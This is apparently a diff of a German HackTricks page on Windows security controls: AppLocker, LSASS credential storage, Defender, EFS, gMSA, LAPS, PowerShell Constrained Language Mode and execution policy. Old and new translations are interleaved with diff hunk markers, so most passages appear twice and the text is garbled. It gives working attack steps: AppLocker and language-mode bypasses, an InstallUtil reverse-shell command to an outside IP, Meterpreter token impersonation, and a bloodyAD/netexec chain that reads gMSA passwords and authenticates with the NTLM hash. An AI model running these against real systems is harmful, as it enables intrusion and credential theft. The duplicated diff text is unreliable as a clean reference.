- Organisationen konzentrieren sich oft darauf, die ausführbare Datei **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** zu blockieren, vergessen jedoch die **anderen** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`.
- **DLL enforcement** ist aufgrund der zusätzlichen Last, die es auf ein System bringen kann, und des notwendigen Testaufwands sehr selten aktiviert. Daher hilft die Nutzung von **DLLs as backdoors**, AppLocker zu umgehen.
- Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Credentials Storage
## Speicherung von Anmeldeinformationen
### Security Accounts Manager (SAM)
Lokale Anmeldeinformationen sind in dieser Datei vorhanden, die Passwörter sind gehasht.
Lokale Anmeldeinformationen befinden sich in dieser Datei, die Passwörter sind gehasht.
### Local Security Authority (LSA) - LSASS
Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen der Single Sign-On gespeichert.\
**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerberechtigungen...), **Authentifizierung**, **Zugriffstoken**...\
LSA wird diejenige sein, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei (für eine lokale Anmeldung) **überprüft** und mit dem **Domänencontroller** spricht, um einen Domänenbenutzer zu authentifizieren.
Die **Anmeldeinformationen** (gehasht) werden im **Speicher** dieses Subsystems aus Gründen des Single Sign-On gespeichert.\
**LSA** verwaltet die lokale **Sicherheitsrichtlinie** (Passwortrichtlinie, Benutzerrechte...), **Authentifizierung**, **access tokens**...\
Die LSA ist die Komponente, die die bereitgestellten Anmeldeinformationen in der **SAM**-Datei (bei einer lokalen Anmeldung) **prüft** und mit dem **domain controller** kommuniziert, um einen Domänenbenutzer zu authentifizieren.
Die **Anmeldeinformationen** werden im **Prozess LSASS** gespeichert: Kerberos-Tickets, NT- und LM-Hashes, leicht entschlüsselbare Passwörter.
### LSA secrets
LSA könnte einige Anmeldeinformationen auf der Festplatte speichern:
LSA kann einige Anmeldeinformationen auf der Festplatte speichern:
- Passwort des Computerkontos des Active Directory (unerreichbarer Domänencontroller).
- Passwort des Computerkontos im Active Directory (domain controller nicht erreichbar).
- Passwörter der Konten von Windows-Diensten
- Passwörter für geplante Aufgaben
- Mehr (Passwort von IIS-Anwendungen...)
### NTDS.dit
Es ist die Datenbank des Active Directory. Sie ist nur auf Domänencontrollern vorhanden.
Es ist die Datenbank des Active Directory. Sie ist nur auf Domain Controllern vorhanden.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ist ein Antivirus, der in Windows 10 und Windows 11 sowie in Versionen von Windows Server verfügbar ist. Er **blockiert** gängige Pentesting-Tools wie **`WinPEAS`**. Es gibt jedoch Möglichkeiten, diese **Schutzmaßnahmen zu umgehen**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ist ein Antivirus, der in Windows 10 und Windows 11 sowie in Versionen von Windows Server verfügbar ist. Er **blockiert** gängige pentesting-Tools wie **`WinPEAS`**. Es gibt jedoch Wege, diese Schutzmaßnahmen zu **umgehen**.
### Check
Um den **Status** von **Defender** zu überprüfen, können Sie das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (überprüfen Sie den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist):
Um den **Status** von **Defender** zu überprüfen, kannst du das PS-Cmdlet **`Get-MpComputerStatus`** ausführen (prüfe den Wert von **`RealTimeProtectionEnabled`**, um zu wissen, ob es aktiv ist):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Um es aufzulisten, könnten Sie auch Folgendes ausführen:
Um es zu enumerieren, könntest du auch ausführen:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,36 +103,37 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS sichert Dateien durch Verschlüsselung, indem es einen **symmetrischen Schlüssel** verwendet, der als **Dateiverschlüsselungsschlüssel (FEK)** bekannt ist. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternativen Datenstrom** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Strom zu entschlüsseln. Weitere Details finden Sie [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS sichert Dateien durch Verschlüsselung und verwendet einen **symmetrischen Schlüssel**, bekannt als **File Encryption Key (FEK)**. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternative data stream** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Mehr Details sind [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) zu finden.
**Entschlüsselungsszenarien ohne Benutzerinitiierung** umfassen:
**Entschlüsselungsszenarien ohne Benutzereingriff** umfassen:
- Wenn Dateien oder Ordner in ein nicht-EFS-Dateisystem wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) verschoben werden, werden sie automatisch entschlüsselt.
- Verschlüsselte Dateien, die über das Netzwerk über das SMB/CIFS-Protokoll gesendet werden, werden vor der Übertragung entschlüsselt.
- Wenn Dateien oder Ordner auf ein nicht-EFS-Dateisystem verschoben werden, wie [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), werden sie automatisch entschlüsselt.
- Verschlüsselte Dateien, die über das Netzwerk via SMB/CIFS übertragen werden, werden vor der Übertragung entschlüsselt.
Diese Verschlüsselungsmethode ermöglicht **transparenten Zugriff** auf verschlüsselte Dateien für den Eigentümer. Das bloße Ändern des Passworts des Eigentümers und das Anmelden erlauben jedoch keine Entschlüsselung.
Diese Verschlüsselungsmethode erlaubt dem Besitzer **transparenten Zugriff** auf verschlüsselte Dateien. Allerdings reicht es nicht aus, einfach das Passwort des Besitzers zu ändern und sich anzumelden, um die Dateien zu entschlüsseln.
**Wichtige Erkenntnisse**:
- EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt ist.
- Die Entschlüsselung verwendet den privaten Schlüssel des Benutzers, um auf den FEK zuzugreifen.
- Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, wie z.B. beim Kopieren nach FAT32 oder bei der Netzwerkübertragung.
- Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich.
- Automatische Entschlüsselung tritt unter bestimmten Bedingungen auf, z. B. beim Kopieren auf FAT32 oder bei Netzwerkübertragung.
- Verschlüsselte Dateien sind für den Besitzer ohne zusätzliche Schritte zugänglich.
### Überprüfen Sie EFS-Informationen
### Check EFS info
Überprüfen Sie, ob ein **Benutzer** diesen **Dienst** genutzt hat, indem Sie überprüfen, ob dieser Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Prüfe, ob ein **Benutzer** diesen **Dienst** verwendet hat, indem du prüfst, ob folgender Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Überprüfen Sie, **wer** Zugriff auf die Datei hat, indem Sie cipher /c \<file>\ verwenden.\
Sie können auch `cipher /e` und `cipher /d` innerhalb eines Ordners verwenden, um alle Dateien zu **verschlüsseln** und **zu entschlüsseln**.
Überprüfe, **wer** Zugriff auf die Datei hat, mit cipher /c \<file\>
Du kannst auch `cipher /e` und `cipher /d` in einem Ordner verwenden, um alle Dateien zu **verschlüsseln** bzw. **entschlüsseln**.
### Entschlüsseln von EFS-Dateien
### Decrypting EFS files
#### Als Autoritätssystem
#### Being Authority System
Dieser Weg erfordert, dass der **Opferbenutzer** einen **Prozess** auf dem Host **ausführt**. Wenn dies der Fall ist, können Sie mit einer `meterpreter`-Sitzung das Token des Prozesses des Benutzers nachahmen (`impersonate_token` von `incognito`). Oder Sie könnten einfach in den Prozess des Benutzers `migraten`.
Dieser Weg setzt voraus, dass der **Opferbenutzer** einen **Prozess** auf dem Host ausführt. Falls das der Fall ist, kannst du mit einer `meterpreter`-Session den Token des Benutzerprozesses impersonieren (`impersonate_token` von `incognito`). Oder du könntest einfach in den Prozess des Benutzers `migrate`.
#### Knowing the users password
#### Kenntnis des Benutzerpassworts
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
@ -140,29 +141,65 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "**Passwort läuft nie ab**" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:
Microsoft hat **Group Managed Service Accounts (gMSA)** entwickelt, um die Verwaltung von Servicekonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Servicekonten, die häufig die Einstellung "**Password never expire**" aktiviert haben, bieten gMSAs eine sicherere und besser verwaltbare Lösung:
- **Automatische Passwortverwaltung**: gMSAs verwenden ein komplexes, 240-Zeichen-Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
- **Erhöhte Sicherheit**: Diese Konten sind immun gegen Sperrungen und können nicht für interaktive Anmeldungen verwendet werden, was ihre Sicherheit erhöht.
- **Unterstützung mehrerer Hosts**: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern ausgeführt werden.
- **Fähigkeit zu geplanten Aufgaben**: Im Gegensatz zu verwalteten Dienstkonten unterstützen gMSAs das Ausführen geplanter Aufgaben.
- **Vereinfachte SPN-Verwaltung**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn es Änderungen an den sAMaccount-Details oder dem DNS-Namen des Computers gibt, was die SPN-Verwaltung vereinfacht.
- **Automatic Password Management**: gMSAs verwenden ein komplexes, 240-stelliges Passwort, das automatisch gemäß den Richtlinien der Domain oder des Computers geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft gehandhabt, wodurch manuelle Passwortaktualisierungen entfallen.
- **Enhanced Security**: Diese Konten sind gegen Sperrungen immun und können nicht für interaktive Logins verwendet werden, was ihre Sicherheit erhöht.
- **Multiple Host Support**: gMSAs können über mehrere Hosts geteilt werden, wodurch sie ideal für Dienste sind, die auf mehreren Servern laufen.
- **Scheduled Task Capability**: Im Gegensatz zu managed service accounts unterstützen gMSAs das Ausführen geplanter Aufgaben.
- **Simplified SPN Management**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn sich die sAMaccount-Details des Computers oder dessen DNS-Name ändern, was die SPN-Verwaltung vereinfacht.
Die Passwörter für gMSAs werden im LDAP-Eigenschaft _**msDS-ManagedPassword**_ gespeichert und alle 30 Tage automatisch von Domänencontrollern (DCs) zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob, der als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) bekannt ist, kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, um eine sichere Umgebung zu gewährleisten. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich, oder die Verbindung muss mit 'Sealing & Secure' authentifiziert werden.
Die Passwörter für gMSAs werden in der LDAP-Eigenschaft _**msDS-ManagedPassword**_ gespeichert und von Domain Controllers (DCs) alle 30 Tage automatisch zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob bekannt als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, was eine sichere Umgebung gewährleistet. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich, oder die Verbindung muss mit 'Sealing & Secure' authentifiziert sein.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
Sie können dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
Du kannst dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader) auslesen:
```
/GMSAPasswordReader --AccountName jkohler
```
[**Weitere Informationen finden Sie in diesem Beitrag**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Sieh dir außerdem diese [web page](https://cube0x0.github.io/Relaying-for-gMSA/) an, um zu erfahren, wie man eine **NTLM relay attack** durchführt, um das **password** von **gMSA** zu **read**.
### Ausnutzen von ACL-Chaining, um das verwaltete gMSA-Passwort zu lesen (GenericAll -> ReadGMSAPassword)
In vielen Umgebungen können Benutzer mit geringen Rechten zu gMSA-Geheimnissen pivotieren, ohne den DC zu kompromittieren, indem sie fehlkonfigurierte Objekt-ACLs ausnutzen:
- Eine Gruppe, die du kontrollieren kannst (z. B. via GenericAll/GenericWrite), erhält `ReadGMSAPassword` für ein gMSA.
- Wenn du dich dieser Gruppe hinzufügst, erbst du das Recht, das `msDS-ManagedPassword`-Blob des gMSA über LDAP zu lesen und daraus verwendbare NTLM-Credentials abzuleiten.
Typischer Ablauf:
1) Finde den Pfad mit BloodHound und markiere deine Foothold-Principals als Owned. Suche nach Kanten wie:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Füge dich der zwischengeschalteten Gruppe hinzu, die du kontrollierst (Beispiel mit bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Das gMSA verwaltete Passwort über LDAP auslesen und den NTLM-Hash ableiten. NetExec automatisiert die Extraktion von `msDS-ManagedPassword` und die Konvertierung zu NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) Authentifiziere dich als gMSA mit dem NTLM hash (kein Klartext erforderlich). Wenn das Konto in Remote Management Users ist, funktioniert WinRM direkt:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Hinweise:
- LDAP-Abfragen des `msDS-ManagedPassword` erfordern Sealing (z. B. LDAPS/sign+seal). Tools erledigen das automatisch.
- gMSAs erhalten oft lokale Rechte wie WinRM; überprüfe die Gruppenmitgliedschaft (z. B. Remote Management Users), um laterale Bewegung zu planen.
- Wenn du nur das Blob brauchst, um das NTLM selbst zu berechnen, siehe die MSDS-MANAGEDPASSWORD_BLOB-Struktur.
Überprüfen Sie auch diese [Webseite](https://cube0x0.github.io/Relaying-for-gMSA/) darüber, wie man einen **NTLM-Relay-Angriff** durchführt, um das **Passwort** von **gMSA** zu **lesen**.
## LAPS
Die **Local Administrator Password Solution (LAPS)**, die von [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) heruntergeladen werden kann, ermöglicht die Verwaltung von lokalen Administratorpasswörtern. Diese Passwörter, die **zufällig**, einzigartig und **regelmäßig geändert** sind, werden zentral in Active Directory gespeichert. Der Zugriff auf diese Passwörter ist durch ACLs auf autorisierte Benutzer beschränkt. Bei ausreichenden Berechtigungen wird die Möglichkeit geboten, lokale Admin-Passwörter zu lesen.
Die **Local Administrator Password Solution (LAPS)**, zum Download verfügbar bei [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), ermöglicht die Verwaltung von lokalen Administratorpasswörtern. Diese Passwörter, die **zufällig generiert**, einzigartig und **regelmäßig geändert** werden, werden zentral im Active Directory gespeichert. Der Zugriff auf diese Passwörter wird per ACLs auf autorisierte Benutzer beschränkt. Mit ausreichenden Berechtigungen ist es möglich, lokale Admin-Passwörter auszulesen.
{{#ref}}
../active-directory-methodology/laps.md
@ -170,34 +207,34 @@ Die **Local Administrator Password Solution (LAPS)**, die von [Microsoft](https:
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der benötigten Funktionen** ein, um PowerShell effektiv zu nutzen, wie das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierter Workflows, PowerShell-Klassen und mehr.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der Funktionen ein**, die nötig sind, um PowerShell effektiv zu nutzen, wie zum Beispiel das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierter Workflows, PowerShell-Klassen und mehr.
### **Überprüfen**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Umgehung
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
In der aktuellen Windows-Version funktioniert dieser Bypass nicht, aber Sie können [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) verwenden.\
**Um es zu kompilieren, müssen Sie möglicherweise** **eine Referenz** _**hinzufügen**_ -> _Durchsuchen_ -> _Durchsuchen_ -> fügen Sie `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändern Sie das Projekt auf .Net4.5**.
Unter aktuellen Windows funktioniert dieser Bypass nicht, aber du kannst [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Zum Kompilieren musst du möglicherweise** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> füge `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändere das Projekt auf .Net4.5**.
#### Direkter Bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Reverse-Shell:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und den eingeschränkten Modus zu umgehen. Für weitere Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell-Code** in jedem Prozess auszuführen und den constrained mode zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS-Ausführungsrichtlinie
Standardmäßig ist sie auf **restricted** eingestellt. Hauptwege, um diese Richtlinie zu umgehen:
Standardmäßig ist sie auf **restricted.** Hauptwege, diese Richtlinie zu umgehen:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -217,35 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Mehr kann [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) gefunden werden.
Mehr Informationen finden Sie [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
Ist die API, die zur Authentifizierung von Benutzern verwendet werden kann.
Die SSPI ist dafür verantwortlich, das geeignete Protokoll für zwei Maschinen zu finden, die kommunizieren möchten. Die bevorzugte Methode dafür ist Kerberos. Dann wird die SSPI aushandeln, welches Authentifizierungsprotokoll verwendet wird, diese Authentifizierungsprotokolle werden als Security Support Provider (SSP) bezeichnet, befinden sich in jeder Windows-Maschine in Form einer DLL und beide Maschinen müssen dasselbe unterstützen, um kommunizieren zu können.
Das SSPI ist dafür zuständig, das geeignete Protokoll für zwei Maschinen zu finden, die miteinander kommunizieren wollen. Die bevorzugte Methode dafür ist Kerberos. Anschließend verhandelt das SSPI, welches Authentifizierungsprotokoll verwendet wird. Diese Authentifizierungsprotokolle werden Security Support Provider (SSP) genannt, liegen auf jedem Windows-System in Form einer DLL vor und beide Maschinen müssen dasselbe unterstützen, um miteinander kommunizieren zu können.
### Haupt-SSPs
### Main SSPs
- **Kerberos**: Der bevorzugte
- **Kerberos**: Die bevorzugte
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** und **NTLMv2**: Aus Kompatibilitätsgründen
- **NTLMv1** and **NTLMv2**: Aus Kompatibilitätsgründen
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Webserver und LDAP, Passwort in Form eines MD5-Hashes
- **Digest**: Web servers und LDAP, Passwort in Form eines MD5-Hashes
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL und TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Es wird verwendet, um das zu verwendende Protokoll auszuhandeln (Kerberos oder NTLM, wobei Kerberos das Standardprotokoll ist)
- **Negotiate**: Wird verwendet, um das zu verwendende Protokoll auszuhandeln (Kerberos oder NTLM, wobei Kerberos die Standardwahl ist)
- %windir%\Windows\System32\lsasrv.dll
#### Die Aushandlung könnte mehrere Methoden oder nur eine anbieten.
#### The negotiation could offer several methods or only one.
## UAC - Benutzerkontensteuerung
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für Aktionen mit erhöhten Rechten** bereitstellt.
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## Referenzen
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}